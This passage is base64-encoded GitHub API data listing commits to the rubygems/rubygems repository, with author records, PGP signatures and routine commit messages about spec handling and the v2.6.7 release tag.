0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yNDQ3MmJhMzRkYmNiNzliZmFkMDM0YjEwNGYyMzVjZTlkNTI2ZmEyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzI0NDcyYmEzNGRiY2I3OWJmYWQwMzRiMTA0ZjIzNWNlOWQ1MjZmYTIifV19LHsic2hhIjoiNzk3MzcxZTJmZDE2OTdjOWFkYjIwNDZiMDNhOGRiMTAzMzVlNDZmNiIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09qYzVOek0zTVdVeVptUXhOamszWXpsaFpHSXlNRFEyWWpBellUaGtZakV3TXpNMVpUUTJaalk9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMC0wN1QwMjoyOTowM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEwLTA3VDAyOjI5OjAzWiJ9LCJtZXNzYWdlIjoiW1N0dWJTcGVjaWZpY2F0aW9uXSBEb27igJl0IGl0ZXJhdGUgdGhyb3VnaCBhbGwgbG9hZGVkIHNwZWNzIGluICN0b19zcGVjIiwidHJlZSI6eyJzaGEiOiJlNzVjMGQ0ZDhmZTdkYmE3NDUwYmRlNGU0MzA5MDQyZjVjOGExYWYwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZTc1YzBkNGQ4ZmU3ZGJhNzQ1MGJkZTRlNDMwOTA0MmY1YzhhMWFmMCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzc5NzM3MWUyZmQxNjk3YzlhZGIyMDQ2YjAzYThkYjEwMzM1ZTQ2ZjYiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlg5d2h2QUFvSkVBRVpXN01WM2FoV0NvQVAvaU14U2RTU0l2dWhJdDRlWUhZRm1oTCtcbmR5TXRpbVpYNGw1MVQxYVoyNTN5aGZTT1F3Q21XQ1A4RXhzaHR0T01pOGo4YW1VRDE1Kyt3ejdzVm5KUFc2SlJcbmE2R1lHc2Y4T2wzK2l0bDFwODZ5L2lWbVgyaXpOQzNkZ1dyM3VEby8rclBPdTlBaXpWUHhWQVpKUmpsaUt6VW1cbi96Qi94TGJGR0JXcTliVXZmYXBpOTh5cndvVFdKVG9YTDFNR0dnVTRFR1QvaEZaKzUvdUY4Yjl4bXY4dnhHRzlcbitiM1BoSERVSzNaVEt4TlRJUUJjU0h0VHVLR1FsdU5Yck1yNVliMnNSeG0zdFdZWEZUaE1CbVUvOEpCaUJkMHNcblY2ZGxla285RFlWUE1TcWlpckpybkxlQnRNRUFjUUpRUENMVHRSbzYwZHBISldDb1pnUkIrYmNkV2JycCtyc1dcbjBUdVUvenRLMjZLTjJaTUgzNHljVDJqa1ljTGV6RXlDamYvQkFOYVpPTG51UlpDYUZEZWloaGYvd1hLOFBieXZcblIwSGNaUDMrVFJoTDZ3TzMzcG4xVFF4alZYR2VWZmNRTTYzZ0x2QWlldGRtVk5WN0VvMGpmVjJmTlRGOGQ5TVFcbkk0Z2VOQlArZzlScytqMElmdWh5SDJGMnV1c05KanRoUm5VOVY1YjRrdklnZGNLU2I3WWp4My9nRjhSM1BTUVFcbk1rRTQ0bEQ2RmZPQWwxbXRUSnJCU05RTFl6VFYyV3RBbVdUZnpSMGgvVUdOUWRyQWJCQU1jdm9SZXpQWWhjL3hcbktKQUdSb2NvLzFSamhmc0p1bkRnL3pVTE5US3ROVEFaMHRoVFBITk16T0VYekZUbjZoZkE1S3BBYy9abVJNQk1cbmRoTm1HdlIxTm9FczFoS2lQWDh5XG49RnBpaFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZTc1YzBkNGQ4ZmU3ZGJhNzQ1MGJkZTRlNDMwOTA0MmY1YzhhMWFmMFxucGFyZW50IGU5OWE1ZTIzZGE5ODBlMDM1MjA1ZDVjMzVkMzIyY2RhNDIxYWRhNjlcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NTgwNzM0MyAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc1ODA3MzQzIC0wNTAwXG5cbltTdHViU3BlY2lmaWNhdGlvbl0gRG9u4oCZdCBpdGVyYXRlIHRocm91Z2ggYWxsIGxvYWRlZCBzcGVjcyBpbiAjdG9fc3BlY1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNzk3MzcxZTJmZDE2OTdjOWFkYjIwNDZiMDNhOGRiMTAzMzVlNDZmNiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC83OTczNzFlMmZkMTY5N2M5YWRiMjA0NmIwM2E4ZGIxMDMzNWU0NmY2IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzc5NzM3MWUyZmQxNjk3YzlhZGIyMDQ2YjAzYThkYjEwMzM1ZTQ2ZjYvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImU5OWE1ZTIzZGE5ODBlMDM1MjA1ZDVjMzVkMzIyY2RhNDIxYWRhNjkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTk5YTVlMjNkYTk4MGUwMzUyMDVkNWMzNWQzMjJjZGE0MjFhZGE2OSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lOTlhNWUyM2RhOTgwZTAzNTIwNWQ1YzM1ZDMyMmNkYTQyMWFkYTY5In1dfSx7InNoYSI6ImU5OWE1ZTIzZGE5ODBlMDM1MjA1ZDVjMzVkMzIyY2RhNDIxYWRhNjkiLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPbVU1T1dFMVpUSXpaR0U1T0RCbE1ETTFNakExWkRWak16VmtNekl5WTJSaE5ESXhZV1JoTmprPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTAtMDdUMDI6Mjc6NDFaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMC0wN1QwMjoyNzo0MVoifSwibWVzc2FnZSI6IltSZXF1ZXN0U2V0XSBTdG9wIHNoYWRvd2luZyBvdXRlciBzcGVjIHZhcmlhYmxlIiwidHJlZSI6eyJzaGEiOiIwOGU4ZTkzMDgxNWI1M2M5MzdkOWFjNTMzZWQzZDdlMzg2NDgxZjI4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMDhlOGU5MzA4MTViNTNjOTM3ZDlhYzUzM2VkM2Q3ZTM4NjQ4MWYyOCJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2U5OWE1ZTIzZGE5ODBlMDM1MjA1ZDVjMzVkMzIyY2RhNDIxYWRhNjkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlg5d2dkQUFvSkVBRVpXN01WM2FoVzZMUVAvUml5cGRZb1RWOGs1dEpqZE5xQmEzOXBcbmo0ZWRHalhHVTRrNlRQRlJSc2VvZlVPUkpBaXU5NERMTjFITU9VSEN4SXpNREltOE80TUNmaDgvNTFkREI4VkRcbmFRUXN5ZGo5SlRDMnozT2FRWVZMQy9SemVpUWwrU0szejExWmhheG9wSnEzMjJsYnJPOEZtRWJhY1Rwd3llNG1cbndBTFZET1FWeWFRMU16ZXBGeGFJT3VlRlozL2lqcE55eHR4aGJyaExBNWRCeXNrVVRVejJkQzJ5L0RmakE1K1hcbldPZnJlZVFXUHQ2QXdpMWZud0RkaUVGazBxNVVuM1lmS2JtaG5FZFpUSG9NOHhyRmZwSW4wYjlwTXhKMndqQWZcbnpWNkcwb1QxZWJNa0p5Z1NaMFYyNS9uSklaM3UxU3EzM1lYWDF4OHd2WlBtamEwNmpKOFlBYTZ2MDRTR3ZiajJcbkt4R3JCRXFncDhmRS9tVnp5dWNteHZNcnZBdTdIOHBFakpYSTliN3gvNmNSY2NFQ1RKZXV1dGtPcDIxWUg1SmlcblQ5OGlRSmhNbXJ3WjQrTUxWWlhwbng3UVlPdkNEY1g0ZmJveWhDSzByY3VlZjBHUWZvdzA2K3pXWTgvZWJVdmJcbi9nMHp4aWVVTzBjQTJPYkpxWVJWYzhWU1ZXRXplTzgzcXk5bWt1bGJuTWs2elpZQ0MvaE10dGVtdjkxVmFzUklcbk9nWEN5TVFhR0JWc2VzNFUzVmxmVmdhalFqaUtqdE4xMkxST2NrQzRUY1lFLzRwbG5VR3VTSlFsU2Znc1pNN2lcbjhCNVJrcmsyL1lTeW01T3pHbk5La2ZjN1g4ZE5WcFhHd2pUUzJRelNpK3FkOEx5SjBVdjB6M0NVVkxESU11Nnlcbm9RZk0yNXZhRVpra1VOdnZaVExQXG49N0FCQVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMDhlOGU5MzA4MTViNTNjOTM3ZDlhYzUzM2VkM2Q3ZTM4NjQ4MWYyOFxucGFyZW50IDNiMjNiM2QwN2M5YmUwN2RhNmIyYmJiZmMxZGMxMzg5ZTFhZjkxZDlcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3NTgwNzI2MSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc1ODA3MjYxIC0wNTAwXG5cbltSZXF1ZXN0U2V0XSBTdG9wIHNoYWRvd2luZyBvdXRlciBzcGVjIHZhcmlhYmxlXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lOTlhNWUyM2RhOTgwZTAzNTIwNWQ1YzM1ZDMyMmNkYTQyMWFkYTY5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2U5OWE1ZTIzZGE5ODBlMDM1MjA1ZDVjMzVkMzIyY2RhNDIxYWRhNjkiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTk5YTVlMjNkYTk4MGUwMzUyMDVkNWMzNWQzMjJjZGE0MjFhZGE2OS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiM2IyM2IzZDA3YzliZTA3ZGE2YjJiYmJmYzFkYzEzODllMWFmOTFkOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zYjIzYjNkMDdjOWJlMDdkYTZiMmJiYmZjMWRjMTM4OWUxYWY5MWQ5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzNiMjNiM2QwN2M5YmUwN2RhNmIyYmJiZmMxZGMxMzg5ZTFhZjkxZDkifV19LHsic2hhIjoiM2IyM2IzZDA3YzliZTA3ZGE2YjJiYmJmYzFkYzEzODllMWFmOTFkOSIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09qTmlNak5pTTJRd04yTTVZbVV3TjJSaE5tSXlZbUppWm1NeFpHTXhNemc1WlRGaFpqa3haRGs9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0wOS0yN1QxMjo1MjozOFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTA5LTI3VDEyOjUyOjM4WiJ9LCJtZXNzYWdlIjoiTWVyZ2UgdGFnICd2Mi42LjcnXG5cblRhZ2dpbmcgdjIuNi43LiIsInRyZWUiOnsic2hhIjoiYjNhOGQ2YzM2YmJmZTU4NTFiYjk1ZmQxMjc1YWQwNzVkYzdmZDc3NSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2IzYThkNmMzNmJiZmU1ODUxYmI5NWZkMTI3NWFkMDc1ZGM3ZmQ3NzUifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zYjIzYjNkMDdjOWJlMDdkYTZiMmJiYmZjMWRjMTM4OWUxYWY5MWQ5IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpYNm11YkFBb0pFQUVaVzdNVjNhaFdtVU1QLzFpNFhwODNqMS9VMUNyQWdVWVhtODM1XG5Lb2pyVWNQeXZ1Ty9mVWl2S21TWU0yWm9lcE13QzV0WmdpQ1hqQVlQcGt3Sjkzb3pOUmFyYnk5YmJKODE0akxJXG52ekUrdXRneStQZnlzZndDbWU0eHdZeGJSZjZmY2N6VER5L2hYa3RiMHJEaHgvZHJ6Qis3YldyTWtPWVRzMXFsXG5DYVFqeVIxRzFKTTRWUFlzTjJYRHhYb2RnNXh1dmxBVmpqMGRmQmU4N2tJL1RjYU42aFY0bU80U1ZDeE01elZjXG45WnkyL2hxTmtJMGFUVDYrSDZnOVZsV3dJeXRycllRUDZCRGE0OXI3dWdPcXFjSkhJUXl1WVd4aWZqZjQ0VkJ2XG5qc24vdHV3T2g0ckhaMWtackhWRC9aQzN0K2tuRzFkSlQ1cHJwaVJtV1JJVG5iQkltby9jajVWQk1MS0lZKzl3XG5PMG9LOEU4RTlHU0YrVVhyTlRvRUx0RTh6b1F2ZDNUM0R1Q3gxSExNMitrSTNOQ05rRXROblBrd1F6NmgwMEU3XG5oV3pRTnBZYytJeG5qUUN0aXNwd01ORnhHVGFWL25wci9SanlJcEQ2WS9qdFNkc0I2OTdNUjN6NENqbndPakdiXG5tUDJIMlNjOURsZnBpakI4VkhIYVRSWHhYNk84VDJCSXlQZ3JTeXpOL2NFZVBTbDJaRm04aW9CUEs3ZDliV2kyXG5mR2V5d3M3NisrS0dQaXY3OFB5NkVYeENCb3BBYjhHWWpqZ3lId095akFuN3RubEhCY1VTSFZRcTliWjlLajRDXG5jcEJnZngxTFZZSVdiQkw5UTRjeFZBKzNXbHdSM0VtaG1rWDdNbGlLbGJYS1FXT1pxV0hIUGVzVEhzbTI4dmxGXG5wdVpiZHlmRys5MkhsZUNtMS9rQVxuPWN0V2lcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGIzYThkNmMzNmJiZmU1ODUxYmI5NWZkMTI3NWFkMDc1ZGM3ZmQ3NzVcbnBhcmVudCAyM2YzZDUxY2Q0NTA2YWYzM2M4NTZiMzU0MTFmNDNmZmYwOTE5YzllXG5wYXJlbnQgNjBmMzViZDFkMjM1OWZjMzAzMDFkMmQ0Y2Q3MmJjNjgzM2U4ZDEyYVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDc0OTgwNzU4IC0wNTAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzQ5ODA3NTggLTA1MDBcblxuTWVyZ2UgdGFnICd2Mi42LjcnXG5cblRhZ2dpbmcgdjIuNi43LlxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvM2IyM2IzZDA3YzliZTA3ZGE2YjJiYmJmYzFkYzEzODllMWFmOTFkOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zYjIzYjNkMDdjOWJlMDdkYTZiMmJiYmZjMWRjMTM4OWUxYWY5MWQ5IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzNiMjNiM2QwN2M5YmUwN2RhNmIyYmJiZmMxZGMxMzg5ZTFhZjkxZDkvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91c